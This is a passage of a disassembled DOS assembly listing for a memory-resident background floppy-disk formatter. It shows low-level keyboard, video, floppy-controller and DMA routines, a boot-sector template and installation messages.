zero + pop ax + mov es:[di],al + sti ; Enable interrupts + inc di + inc di + pop es + retn +sub_25 endp + + +; +; SUBROUTINE +; + +sub_26 proc near + cmp ah,1 + je loc_175 ; Jump if equal + cmp bx,0 + je loc_178 ; Jump if equal + cmp bx,1 + jne loc_175 ; Jump if not equal + xor bx,bx ; Zero register + xchg ah,al + stosb ; Store al to es:[di] + jmp short loc_179 + db 90h +loc_175: + push ax + inc bx + mov al,1 + stosb ; Store al to es:[di] + mov ax,bx + and bx,0FF80h + nop ;*ASM fixup - sign extn byte + jz loc_176 ; Jump if zero + or ax,8000h + xchg ah,al + stosw ; Store ax to es:[di] + jmp short loc_177 + db 90h +loc_176: + stosb ; Store al to es:[di] +loc_177: + xor bx,bx ; Zero register + pop ax +loc_178: + xchg ah,al +loc_179: + stosb ; Store al to es:[di] + retn +sub_26 endp + + +; +; SUBROUTINE +; + +sub_27 proc near + mov al,data_110 + mul data_111 ; ax = data * al + add ax,3Dh + mov di,ax + mov al,data_112 + mov cl,15h +loc_180: + call sub_25 + dec cl + cmp cl,0 + jne loc_180 ; Jump if not equal + retn +sub_27 endp + + +; +; SUBROUTINE +; + +sub_28 proc near + mov ds,data_25 + cmp byte ptr ds:video_mode_,7 + je loc_183 ; Jump if equal + cmp byte ptr ds:video_mode_,2 + je loc_182 ; Jump if equal + cmp byte ptr ds:video_mode_,3 + je loc_182 ; Jump if equal +loc_181: + push cs + pop ds + stc ; Set carry flag + retn +loc_182: + push cs + pop ds + clc ; Clear carry flag + retn +loc_183: + mov ds,cs:data_91 + xor si,si ; Zero register + mov cx,50h + xor bx,bx ; Zero register + cld ; Clear direction + +locloop_184: + lodsw ; String [si] to ax + cmp ah,al + jne loc_185 ; Jump if not equal + inc bx +loc_185: + loop locloop_184 ; Loop if cx > 0 + + cmp bx,0Ah + jg loc_181 ; Jump if > + jmp short loc_182 +sub_28 endp + + +; +; SUBROUTINE +; + +sub_29 proc near + mov cx,2 + mov es,data_25 + cld ; Clear direction + cli ; Disable interrupts + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + sti ; Enable interrupts + retn +sub_29 endp + + +; +; SUBROUTINE +; + +sub_30 proc near + clc ; Clear carry flag + mov word ptr ds:[1F0h],es + mov es,data_25 + cmp ax,es:[di] + jne loc_186 ; Jump if not equal + push cs + pop ax + cmp ax,es:[di+2] + je loc_187 ; Jump if equal +loc_186: + stc ; Set carry flag +loc_187: + mov es,word ptr ds:[1F0h] + retn +sub_30 endp + + +; +; SUBROUTINE +; + +sub_31 proc near + mov data_100,0F5h + mov data_97,9 + mov data_95,1 +loc_188: + mov al,data_95 + cbw ; Convrt byte to word + mov word ptr ds:[1A9h],0 + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,7 + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov si,data_100 + mov di,3A0h + cld ; Clear direction + call sub_35 + inc di + call sub_35 + mov data_100,si + mov dh,data_97 + mov dl,14h + mov si,3A0h + call sub_14 + mov si,data_100 + lodsw ; String [si] to ax + mov word ptr data_98,ax + mov data_100,si + mov word ptr ds:[1A9h],0 + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,2Dh ; '-' + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov bl,50h ; 'P' + xor bh,bh ; Zero register + cmp data_31,0 + jne loc_189 ; Jump if not equal + shr bx,1 ; Shift w/zeros fill +loc_189: + dec bx + mov ax,2 + mul bx ; dx:ax = reg * ax + mov bl,data_56 + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + mov bl,data_53 + add ax,bx + mov bx,word ptr data_98 + cmp byte ptr ds:[2423h],1 + je loc_190 ; Jump if equal + shl bx,1 ; Shift w/zeros fill +loc_190: + sub ax,bx + mov bx,200h + mul bx ; dx:ax = reg * ax + mov word ptr ds:[1A9h],dx + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,44h ; 'D' + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov al,data_99 + cmp data_95,al + jne loc_191 ; Jump if not equal + call sub_13 + retn +loc_191: + inc data_95 + inc data_97 + jmp loc_188 +sub_31 endp + + +; +; SUBROUTINE +; + +sub_32 proc near + mov di,0EDh + call sub_33 + mov word ptr ds:[1ADh],bx + mov byte ptr ds:[1AFh],bl + jz loc_195 ; Jump if zero +loc_192: + cld ; Clear direction + or al,30h ; '0' + stosb ; Store al to es:[di] + mov word ptr ds:[1A5h],0 + mov word ptr ds:[1A7h],0 + push di + mov di,word ptr ds:[1B0h] + add di,word ptr ds:[1B2h] + call sub_34 + pop di + mov ax,word ptr ds:[1A7h] + sub word ptr ds:[1ABh],ax + jnc loc_193 ; Jump if carry=0 + dec word ptr ds:[1A9h] +loc_193: + mov ax,word ptr ds:[1A5h] + sub word ptr ds:[1A9h],ax + dec word ptr ds:[1ADh] + cmp word ptr ds:[1ADh],0 + je loc_195 ; Jump if equal + call sub_33 +loc_194: + cmp bx,word ptr ds:[1ADh] + je loc_192 ; Jump if equal + push ax + mov al,30h ; '0' + stosb ; Store al to es:[di] + pop ax + dec word ptr ds:[1ADh] + cmp word ptr ds:[1ADh],0 + jne loc_194 ; Jump if not equal +loc_195: + mov ax,word ptr ds:[1ABh] + or al,30h ; '0' + cld ; Clear direction + stosb ; Store al to es:[di] + mov al,0 + stosb ; Store al to es:[di] + retn +sub_32 endp + + +; +; SUBROUTINE +; + +sub_33 proc near + mov dx,word ptr ds:[1A9h] + mov ax,word ptr ds:[1ABh] + mov word ptr ds:[1B0h],0 + mov word ptr ds:[1B2h],0 + cmp dx,0 + jne loc_196 ; Jump if not equal + cmp ax,2710h + jb loc_197 ; Jump if below +loc_196: + mov bx,2710h + mov word ptr ds:[1B0h],8 + div bx ; ax,dx rem=dx:ax/reg +loc_197: + cmp ax,0Ah + jb loc_200 ; Jump if below + mov word ptr ds:[1B2h],6 + xor dx,dx ; Zero register + mov bx,offset 1C8h +loc_198: + cmp ax,[bx] + jge loc_199 ; Jump if > or = + sub word ptr ds:[1B2h],2 + sub bx,2 + jmp short loc_198 +loc_199: + mov bx,[bx] + div bx ; ax,dx rem=dx:ax/reg +loc_200: + mov bx,word ptr ds:[1B0h] + add bx,word ptr ds:[1B2h] + shr bx,1 ; Shift w/zeros fill + retn +sub_33 endp + + +; +; SUBROUTINE +; + +sub_34 proc near + and al,0Fh + cbw ; Convrt byte to word + push ax + mov bx,offset 1C2h + mov bx,[bx+di] + mul bx ; dx:ax = reg * ax + add word ptr ds:[1A7h],ax + jnc loc_201 ; Jump if carry=0 + inc dx +loc_201: + add word ptr ds:[1A5h],dx + mov bx,offset 1B4h + pop ax + mov bx,[bx+di] + mul bx ; dx:ax = reg * ax + add word ptr ds:[1A5h],ax + retn +sub_34 endp + + +; +; SUBROUTINE +; + +sub_35 proc near + lodsb ; String [si] to al + call sub_36 + stosw ; Store ax to es:[di] + lodsb ; String [si] to al + call sub_36 + stosw ; Store ax to es:[di] + retn +sub_35 endp + + +; +; SUBROUTINE +; + +sub_36 proc near + mov ah,al + and ah,0Fh + mov cl,4 + shr al,cl ; Shift w/zeros fill + and al,0Fh + cmp al,0Ah + jge loc_202 ; Jump if > or = + add al,30h ; '0' + jmp short loc_203 + db 90h +loc_202: + add al,37h ; '7' +loc_203: + cmp ah,0Ah + jge loc_204 ; Jump if > or = + add ah,30h ; '0' + jmp short loc_ret_205 + db 90h +loc_204: + add ah,37h ; '7' + +loc_ret_205: + retn +sub_36 endp + + +; +; SUBROUTINE +; + +sub_37 proc near + mov al,data_29 + mov bx,offset data_30 + cbw ; Convrt byte to word + add bx,ax + mov al,[bx] + mov data_31,ax + retn +sub_37 endp + + +; +; SUBROUTINE +; + +sub_38 proc near + mov ah,1 + mov cx,7 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + mov ah,3 + mov bh,data_104 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + mov data_108,dh + mov data_109,dl + mov di,137h + mov data_101,0 +loc_206: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + jne loc_207 ; Jump if not equal + retn +loc_207: + cmp al,1Bh + jne loc_208 ; Jump if not equal + pop ax + jmp loc_41 +loc_208: + cmp al,10h + je loc_209 ; Jump if equal + cmp ax,5300h + jne loc_210 ; Jump if not equal +loc_209: + call sub_41 + call sub_41 + jmp short loc_206 +loc_210: + cmp ax,4B00h + je loc_211 ; Jump if equal + cmp al,8 + jne loc_212 ; Jump if not equal +loc_211: + call sub_41 + jmp short loc_206 +loc_212: + cmp al,30h ; '0' + jb loc_213 ; Jump if below + cmp al,39h ; '9' + jg loc_213 ; Jump if > + cmp data_101,2 + je loc_213 ; Jump if equal + cld ; Clear direction + stosb ; Store al to es:[di] + inc data_101 + inc data_109 + call sub_10 + jmp short loc_206 +loc_213: + call sub_11 + jmp short loc_206 +sub_38 endp + + +; +; SUBROUTINE +; + +sub_39 proc near + mov si,offset data_33+6 ; (' ') +loc_214: + cmp al,0 + je loc_215 ; Jump if equal + add si,7 + dec al + jmp short loc_214 +loc_215: + mov di,offset data_189 +loc_216: + lodsb ; String [si] to al + cmp al,0 + jne loc_217 ; Jump if not equal + retn +loc_217: + stosb ; Store al to es:[di] +sub_39 endp + + +; +; SUBROUTINE +; + +sub_40 proc near + jmp short loc_216 +sub_40 endp + + +; +; SUBROUTINE +; + +sub_41 proc near + cmp data_101,0 + je loc_ret_218 ; Jump if equal + dec di + dec data_101 + dec data_109 + call sub_42 + mov al,20h ; ' ' + call sub_10 + call sub_42 + +loc_ret_218: + retn +sub_41 endp + + +; +; SUBROUTINE +; + +sub_42 proc near + mov ah,2 + mov bh,data_104 + mov dh,data_108 + mov dl,data_109 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + retn +sub_42 endp + + +; +; SUBROUTINE +; + +sub_43 proc near + push ds + mov ds,data_91 + mov si,data_4e + mov di,offset data_115 + mov cx,7 + cld ; Clear direction + repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di] + cmp cx,0 + je loc_219 ; Jump if equal + mov di,offset data_113 + mov si,data_4e + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] +loc_219: + pop ds + call sub_44 + mov di,offset data_115 + mov si,data_92 + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + retn +sub_43 endp + + +; +; SUBROUTINE +; + +sub_44 proc near + push es + mov si,data_92 + mov es,data_91 + mov di,data_4e + mov cx,6 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop es + retn +sub_44 endp + + +; +; SUBROUTINE +; + +sub_45 proc near + call sub_28 + jnc loc_220 ; Jump if carry=0 + retn +loc_220: + call sub_43 + retn +sub_45 endp + + +; +; SUBROUTINE +; + +sub_46 proc near + call sub_28 + jnc loc_221 ; Jump if carry=0 + clc ; Clear carry flag + retn +loc_221: + cmp data_187,6666h + je loc_222 ; Jump if equal + mov data_92,3CEh + mov ah,data_65 + call sub_47 + mov byte ptr data_184+26h,al ; ('') + mov byte ptr data_184+28h,ah ; ('') + call sub_43 + retn +loc_222: + cmp data_92,3AAh + jne loc_ret_223 ; Jump if not equal + mov data_92,0D5h + call sub_44 + +loc_ret_223: + retn +sub_46 endp + + +; +; SUBROUTINE +; + +sub_47 proc near + cmp ah,0Ah + jl loc_226 ; Jump if < + mov al,31h ; '1' +loc_224: + sub ah,0Ah + cmp ah,0Ah + jl loc_225 ; Jump if < + add al,1 + jmp short loc_224 +loc_225: + or ah,30h ; '0' + retn +loc_226: + or ah,30h ; '0' + mov al,20h ; ' ' + retn +sub_47 endp + + +; +; SUBROUTINE +; + +sub_48 proc near + cld ; Clear direction + mov di,offset 14Dh +loc_227: + mov al,data_65 + stosb ; Store al to es:[di] + mov al,data_64 + stosb ; Store al to es:[di] + mov al,data_66 + stosb ; Store al to es:[di] + mov al,2 + stosb ; Store al to es:[di] + inc data_66 + mov al,data_66 + cmp al,data_56 + jle loc_227 ; Jump if < or = + mov data_66,1 + retn +sub_48 endp + + +; +; SUBROUTINE +; + +sub_49 proc near + pop ax + mov word ptr ds:[221h],ax + mov data_82,21E2h + mov al,byte ptr ds:[21Ah] + mov data_66,al + mov data_68,28E9h + mov data_67,1FFh + mov data_69,4Ah ; 'J' + mov data_70,0C5h + mov data_85,27F1h + call sub_75 + mov data_82,220Dh + mov ax,word ptr ds:[242Ch] + mov cl,byte ptr ds:[21Ah] + add cl,al + cmp cl,data_56 + jle loc_228 ; Jump if < or = + inc data_64 + sub cl,data_56 +loc_228: + mov data_66,cl + call sub_75 + inc byte ptr ds:[21Ah] + jmp word ptr ds:[221h] + +; External Entry into Subroutine + +sub_50: + mov si,offset data_220 + mov cx,word ptr ds:[21Dh] + inc cx + sub cx,si + jbe loc_229 ; Jump if below or = + mov di,offset data_214 + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + xor al,al ; Zero register + mov cx,1Bh + mov di,offset data_220 + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] +loc_229: + add word ptr ds:[21Fh],200h + mov word ptr ds:[21Dh],0 + retn +sub_49 endp + + +; +; SUBROUTINE +; + +sub_51 proc near + mov al,data_65 + dec al + cbw ; Convrt byte to word + mov bl,4 + div bl ; al, ah rem = ax/reg + mov cl,ah + cbw ; Convrt byte to word + mov di,ax + rol cl,1 ; Rotate + add cl,data_64 + mov al,80h + ror al,cl ; Rotate + or byte ptr ds:[139h][di],al + retn +sub_51 endp + + +; +; SUBROUTINE +; + +sub_52 proc near + mov data_65,0 + mov data_64,0 + mov data_66,1 + mov data_94,0 + mov data_63,0 + mov data_59,0F6h + retn +sub_52 endp + + +; +; SUBROUTINE +; + +sub_53 proc near + xor al,al ; Zero register + mov cx,200h + mov di,offset data_214 + cld ; Clear direction + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] + retn +sub_53 endp + + mov di,data_100 + mov ax,0D1BAh + cld ; Clear direction + stosw ; Store ax to es:[di] + stosw ; Store ax to es:[di] + mov ax,data_54 + stosw ; Store ax to es:[di] + mov data_100,di + inc data_95 + inc data_99 + retn + +; +; SUBROUTINE +; + +sub_54 proc near + mov word ptr data_98,0 + mov si,offset 139h + cld ; Clear direction +loc_230: + lodsb ; String [si] to al + mov cl,4 +loc_231: + mov ah,al + and ah,3 + cmp ah,3 + je loc_232 ; Jump if equal + cmp ah,0 + je loc_233 ; Jump if equal + mov bl,data_56 + call sub_57 + jmp short loc_233 + db 90h +loc_232: + mov bl,data_56 + shl bl,1 ; Shift w/zeros fill + call sub_57 +loc_233: + dec cl + jz loc_234 ; Jump if zero + shr al,1 ; Shift w/zeros fill + shr al,1 ; Shift w/zeros fill + jmp short loc_231 +loc_234: + cmp si,14Dh + jl loc_230 ; Jump if < + retn +sub_54 endp + + +; +; SUBROUTINE +; + +sub_55 proc near + push cx + mov al,byte ptr ds:[2423h] + cbw ; Convrt byte to word + mov bx,ax + mov al,data_53 + cbw ; Convrt byte to word + add ax,word ptr ds:[223h] + xor dx,dx ; Zero register + div bx ; ax,dx rem=dx:ax/reg + call sub_59 + xor dx,dx ; Zero register + mov bx,2 + div bx ; ax,dx rem=dx:ax/reg + call sub_58 + mov bx,3 + mul bx ; dx:ax = reg * ax + add ax,3 + add ax,cx + pop cx + retn +sub_55 endp + + +; +; SUBROUTINE +; + +sub_56 proc near + mov ah,data_95 + inc ah + call sub_47 + mov data_190,ax + retn +sub_56 endp + + +; +; SUBROUTINE +; + +sub_57 proc near + xor bh,bh ; Zero register + cmp data_56,9 + jne loc_235 ; Jump if not equal + clc ; Clear carry flag + rcr bx,1 ; Rotate thru carry + adc bx,0 +loc_235: + add word ptr data_98,bx + retn +sub_57 endp + + +; +; SUBROUTINE +; + +sub_58 proc near + cmp dx,0 + je loc_236 ; Jump if equal + mov cx,1 + retn +loc_236: + mov cx,dx + retn +sub_58 endp + + +; +; SUBROUTINE +; + +sub_59 proc near + test al,1 + jz loc_237 ; Jump if zero + mov word ptr ds:[229h],2 + retn +loc_237: + mov word ptr ds:[229h],0 + retn +sub_59 endp + + +; +; SUBROUTINE +; + +sub_60 proc near + mov di,offset 139h + xor al,al ; Zero register + mov cx,14h + cld ; Clear direction + repne stosb ; Rep zf=0+cx >0 Store al to es:[di] + retn +sub_60 endp + + +; +; SUBROUTINE +; + +sub_61 proc near + mov si,data_31 + mov bx,offset data_41 + mov al,[bx+si] + mov byte ptr ds:[2423h],al + mov bx,offset data_47 + mov al,[bx+si] + mov byte ptr ds:[242Bh],al + mov bx,offset data_39 + mov al,[bx+si] + mov data_71,al + mov bx,offset data_43 + mov al,[bx+si] + mov data_55,al + mov bx,offset data_44 + mov al,[bx+si] + mov data_56,al + and ax,0FFh + mov word ptr ds:[242Eh],ax + mov bx,offset data_45 + mov al,[bx+si] + mov data_57,al + mov bx,offset data_46 + mov al,[bx+si] + mov data_58,al + mov bx,offset data_52 + mov al,[bx+si] + mov data_53,al + shl si,1 ; Shift w/zeros fill + mov bx,offset data_48 + mov ax,[bx+si] + mov word ptr ds:[2427h],ax + mov bx,offset data_40 + mov ax,[bx+si] + mov data_61,ax + mov bx,offset data_37 + mov ax,[bx+si] + mov word ptr data_60,ax + mov bx,69h + mov ax,[bx+si] + mov word ptr ds:[2429h],ax + mov bx,offset data_50 + mov ax,[bx+si] + mov word ptr ds:[242Ch],ax + mov bx,offset data_51 + mov ax,[bx+si] + mov data_54,ax + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; get date cx=year, dx=mon/day + mov word ptr ds:[243Fh],dx + cmp data_31,0 + jne loc_238 ; Jump if not equal + mov word ptr ds:[216h],143h + retn +loc_238: + mov word ptr ds:[216h],14Dh + retn +sub_61 endp + + jmp short loc_239 + nop + inc dx + inc si + dec di + push dx + dec bp + inc cx + push sp + and [bx+si],al + add al,[bx+si] + add [bx+si],ax + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add al,[bx+si] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub [bx+si],ax + add [bx+si],al + add [bp+4Fh],cl + db ' NAME FAT12 ', 0Dh, 0Ah, ' ' + db 'Non-System Disk ...', 0Dh, 0Ah, ' ' + db 'Replace And Press Any Key When R' + db 'eady...', 0Dh, 0Ah, 0 +loc_239: + xor ax,ax ; Zero register + cli ; Disable interrupts + mov ss,ax + mov sp,7C00h + sti ; Enable interrupts + push cs + pop ds + mov si,data_234e + cld ; Clear direction +loc_240: + lodsb ; String [si] to al + test al,al + jz loc_241 ; Jump if zero + mov ah,0Eh + xor bx,bx ; Zero register + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_240 +loc_241: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + int 19h ; Bootstrap loader + db 347 dup (0) + db 55h,0AAh + +; +; SUBROUTINE +; + +sub_62 proc near + mov byte ptr ds:[22Fh],1 + mov ds,data_25 + mov al,0FFh + mov ds:dsk_motor_tmr_,al + mov al,ds:dsk_motor_stat_ + and al,0Fh + push cs + pop ds + cmp al,0 + je loc_242 ; Jump if equal + retn +loc_242: + mov cl,data_29 + mov al,10h + shl al,cl ; Shift w/zeros fill + mov ah,al + or al,cl + or al,0Ch + mov dx,3F2h + out dx,al ; port 3F2h, dsk0 contrl output + mov cl,4 + rol ah,cl ; Rotate + mov ds,data_25 + mov ds:dsk_motor_stat_,ah + push cs + pop ds + mov byte ptr ds:[22Dh],2 + call sub_7 + retn +sub_62 endp + + +; +; SUBROUTINE +; + +sub_63 proc near + pop ax + mov data_86,ax + call sub_62 + call sub_67 + jmp short loc_243 + db 90h + +; External Entry into Subroutine + +sub_64: + pop ax + mov data_86,ax + mov data_63,0 + call sub_62 + call sub_66 +loc_243: + call sub_79 + call sub_68 + jc loc_244 ; Jump if carry Set + jmp data_86 +loc_244: + clc ; Clear carry flag + jmp loc_123 +sub_63 endp + + +; +; SUBROUTINE +; + +sub_65 proc near + pop ax + mov data_88,ax + call sub_64 + test data_73,0C0h + jz loc_245 ; Jump if zero + call sub_64 + test data_73,0C0h + jz loc_245 ; Jump if zero + jmp loc_123 +loc_245: + mov al,data_65 + cmp data_31,0 + jne loc_246 ; Jump if not equal + shl al,1 ; Shift w/zeros fill +loc_246: + mov data_63,al + call sub_63 + jmp data_88 + +; External Entry into Subroutine + +sub_66: + mov ah,7 + call sub_71 + mov ah,data_29 + call sub_71 + retn +sub_65 endp + + +; +; SUBROUTINE +; + +sub_67 proc near + mov ah,0Fh + call sub_71 + mov ah,data_29 + call sub_71 + mov ah,data_63 + call sub_71 + retn +sub_67 endp + + +; +; SUBROUTINE +; + +sub_68 proc near + mov ah,8 + call sub_71 + call sub_70 + mov data_73,al + call sub_70 + mov data_72,al + retn +sub_68 endp + + +; +; SUBROUTINE +; + +sub_69 proc near + call sub_70 + mov data_73,al + call sub_70 + mov data_74,al + call sub_70 + mov data_75,al + call sub_70 + mov data_77,al + call sub_70 + mov data_78,al + call sub_70 + mov data_79,al + call sub_70 + mov data_80,al + retn +sub_69 endp + + +; +; SUBROUTINE +; + +sub_70 proc near + mov dx,3F4h + xor cx,cx ; Zero register + +locloop_247: + in al,dx ; port 3F4h, dsk0 cntrlr status + and al,0C0h + cmp al,0C0h + je loc_248 ; Jump if equal + loop locloop_247 ; Loop if cx > 0 + + pop ax + stc ; Set carry flag + retn +loc_248: + inc dx + in al,dx ; port 3F5h, dsk0 controlr data + clc ; Clear carry flag + retn +sub_70 endp + + +; +; SUBROUTINE +; + +sub_71 proc near + mov dx,3F4h + xor cx,cx ; Zero register + +locloop_249: + in al,dx ; port 3F4h, dsk0 cntrlr status + and al,0C0h + cmp al,80h + je loc_250 ; Jump if equal + loop locloop_249 ; Loop if cx > 0 + + pop ax + stc ; Set carry flag + retn +loc_250: + mov al,ah + inc dx + out dx,al ; port 3F5h, dsk0 controlr data + clc ; Clear carry flag + retn +sub_71 endp + + +; +; SUBROUTINE +; + +sub_72 proc near + mov dx,3F7h + mov al,data_71 + out dx,al ; port 3F7h ??I/O Non-standard + retn +sub_72 endp + + +; +; SUBROUTINE +; + +sub_73 proc near + mov al,2 + out 0Ch,al ; port 0Ch, DMA-1 clr byte ptr + jmp short $+2 ; delay for I/O + mov al,ah + out 0Bh,al ; port 0Bh, DMA-1 mode reg + mov bx,data_68 + push cs + pop ax + mov cl,4 + rol ax,cl ; Rotate + mov ch,al + and al,0F0h + add ax,bx + jnc loc_251 ; Jump if carry=0 + inc ch +loc_251: + out 4,al ; port 4, DMA-1 bas&add ch 2 + jmp short $+2 ; delay for I/O + mov al,ah + out 4,al ; port 4, DMA-1 bas&add ch 2 + jmp short $+2 ; delay for I/O + mov al,ch + and al,0Fh + out 81h,al ; port 81h, DMA page reg ch 2 + mov ax,data_67 + out 5,al ; port 5, DMA-1 bas&cnt ch 2 + jmp short $+2 ; delay for I/O + mov al,ah + out 5,al ; port 5, DMA-1 bas&cnt ch 2 + jmp short $+2 ; delay for I/O + mov al,2 + out 0Ah,al ; port 0Ah, DMA-1 mask reg bit + retn +sub_73 endp + + +; +; SUBROUTINE +; + +sub_74 proc near + pop ax + mov data_86,ax + mov data_68,28E9h + mov data_67,1FFh + mov data_69,46h ; 'F' + mov data_70,0E6h + call sub_62 + call sub_72 + mov ah,data_69 + call sub_73 + call sub_76 + jc loc_252 ; Jump if carry Set + call sub_79 + call sub_69 + jc loc_252 ; Jump if carry Set + jmp data_86 +loc_252: + clc ; Clear carry flag + call sub_7 + jmp loc_123 +sub_74 endp + + +; +; SUBROUTINE +; + +sub_75 proc near + pop ax + mov data_86,ax + call sub_62 + call sub_72 + mov ah,data_69 + call sub_73 + call data_85 + jc loc_253 ; Jump if carry Set + call sub_79 + call sub_69 + jc loc_253 ; Jump if carry Set + jmp data_86 +loc_253: + clc ; Clear carry flag + call sub_7 + jmp loc_123 +sub_75 endp + + +; +; SUBROUTINE +; + +sub_76 proc near + mov ah,data_70 + call sub_71 + mov ah,data_29 + cmp data_64,0 + je loc_254 ; Jump if equal + or ah,4 +loc_254: + call sub_71 + mov ah,data_65 + call sub_71 + mov ah,data_64 + call sub_71 + mov ah,data_66 + call sub_71 + mov ah,2 + call sub_71 + mov ah,data_56 + call sub_71 + mov ah,data_57 + call sub_71 + mov ah,0FFh + call sub_71 + retn +sub_76 endp + + mov ah,4Dh ; 'M' + call sub_71 + mov ah,data_29 + cmp data_64,0 + je loc_255 ; Jump if equal + or ah,4 +loc_255: + call sub_71 + mov ah,2 + call sub_71 + mov ah,data_56 + call sub_71 + mov ah,data_58 + call sub_71 + mov ah,data_59 + call sub_71 + retn + +; +; SUBROUTINE +; + +sub_77 proc near + mov ah,4 + call sub_71 + mov ah,data_29 + call sub_71 + call sub_70 + mov data_76,al + retn +sub_77 endp + + +; +; SUBROUTINE +; + +sub_78 proc near + pop ax + mov data_87,ax + call sub_48 + mov ax,data_61 + mov data_67,ax + mov data_68,14Dh + mov data_69,4Ah ; 'J' + mov data_85,2837h + call sub_75 + test data_73,0C0h + jnz loc_256 ; Jump if not zero + jmp data_87 +loc_256: + test data_74,2 + jz loc_257 ; Jump if zero + jmp loc_86 +loc_257: + cmp data_94,2 + jne loc_258 ; Jump if not equal + mov data_94,0 + jmp loc_93 +loc_258: + inc data_94 + call sub_65 + test data_73,0C0h + jnz loc_259 ; Jump if not zero + jmp data_82 +loc_259: + jmp loc_123 +sub_78 endp + + +; +; SUBROUTINE +; + +sub_79 proc near + mov cx,18h + +locloop_260: + call sub_7 + cmp byte ptr ds:[22Fh],0 + jne loc_261 ; Jump if not equal + retn +loc_261: + loop locloop_260 ; Loop if cx > 0 + + pop ax + jmp loc_123 +sub_79 endp + +data_214 db 0 +data_215 dw 0 + db 8 dup (0) +data_217 dw 0 + db 26 dup (0) +data_218 dw 0 +data_219 dw 0 + db 469 dup (0) +data_220 db 0 + db 154 dup (0) +data_221 db 0Dh, 0Ah, ' Mem Resident Format A' + db 'lready Installed', 0Dh, 0Ah, 'Al' + db 't + Left Shift + Right Shift Wil' + db 'l Activate', 0Dh, 0Ah, '$' +data_222 db 0Dh, 0Ah, 'Background Formatter I' + db 's Installed', 0Dh, 0Ah, 'Alt + L' + db 'eft Shift + Right Shift Will Act' + db 'ivate', 0Dh, 0Ah, '$' +data_223 db 0Dh, 0Ah, 'No Diskette Drive Conn' + db 'ect', 0Dh, 0Ah, 'Program Termina' + db 'ted !', 0Dh, 0Ah, '$' + db 'There Are ' +data_224 db 0 + db ' Diskette Drives Connected' + db 0 +data_225 db 0 + db 20h,0C4h + db 14 dup (0C4h) +data_227 db ' ', 0 + db 'Is This Configuration Correct ? ' + db '[Y]', 0 + db 'How Many Diskette Drives ( Not I' + db 'nclude Fixed Disk ) ?', 0 + db 'DRIVE ', 0 + db ' ( 0 - 360K, 1 - 1.2M, 2 - 720K,' + db ' 3 - 1.44M ) ?', 0 +loc_262: + push cs + pop ds + push cs + pop es + call sub_86 + mov word ptr ds:[1E2h],cs + mov word ptr ds:[1E4h],cs + mov word ptr ds:[1DAh],cs + mov word ptr ds:[1E0h],cs + mov word ptr data_24,0EBFEh + cli ; Disable interrupts + mov word ptr ds:[1E6h],ss + mov word ptr ds:[1E8h],sp + push cs + pop ss + mov sp,2B84h + mov ax,202h + push ax + push cs + mov ax,data_81 + push ax + mov word ptr ds:[1DCh],sp + mov ss,word ptr ds:[1E6h] + mov sp,word ptr ds:[1E8h] + sti ; Enable interrupts + call sub_80 + call sub_23 + call sub_88 + call sub_24 + mov al,0Eh + mov si,19Dh + mov dx,12CCh + call sub_87 + mov al,13h + mov si,1A1h + mov dx,12E6h + call sub_87 + mov al,9 + mov si,199h + mov dx,127Ah + call sub_87 + mov al,8 + mov si,195h + mov dx,11E0h + call sub_87 + mov dx,offset data_222 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + mov al,0 + mov dx,2B84h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,11h + mov ah,31h ; '1' + int 21h ; DOS Services ah=function 31h + ; terminate & stay resident + ; al=return code,dx=paragraphs + +; +; SUBROUTINE +; + +sub_80 proc near + push es + mov es,cs:data_25 + mov dx,es:video_port_ + add dx,6 + mov cs:data_90,dx + pop es + int 11h ; Put equipment bits in ax + mov bh,al + and bh,30h ; '0' + mov data_91,0B800h + cmp bh,30h ; '0' + jne loc_263 ; Jump if not equal + mov data_91,0B000h +loc_263: + mov bh,al + and bh,1 + and ax,0C0h + shl ax,1 ; Shift w/zeros fill + shl ax,1 ; Shift w/zeros fill + add ah,bh + cmp ah,0 + jne loc_264 ; Jump if not equal + mov dx,offset data_223 ; ('') + mov ah,9 + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + jmp loc_277 +loc_264: + mov al,ah + cmp al,3 + jl loc_265 ; Jump if < + mov al,2 +loc_265: + mov data_28,al + or al,30h ; '0' + mov data_224,al + call sub_81 + retn + +; External Entry into Subroutine + +sub_81: + push ax + push es + push di + mov bx,0Dh + mov dx,0 +loc_266: + mov si,dx + push ax + push bx + push dx + mov ah,8 + int 13h ; Disk dl=drive a ah=func 08h + ; get drive parameters, bl=type + ; cx=cylinders, dh=max heads + ; es:di= ptr to drive table + jc loc_267 ; Jump if carry Set + mov al,bl + dec al + pop dx + pop bx + mov [bx+si],al + pop ax + dec ah + jz loc_268 ; Jump if zero + inc dx + jmp short loc_266 +loc_267: + add sp,6 +loc_268: + pop di + pop es + pop ax + retn + +; External Entry into Subroutine + +sub_82: + mov al,41h 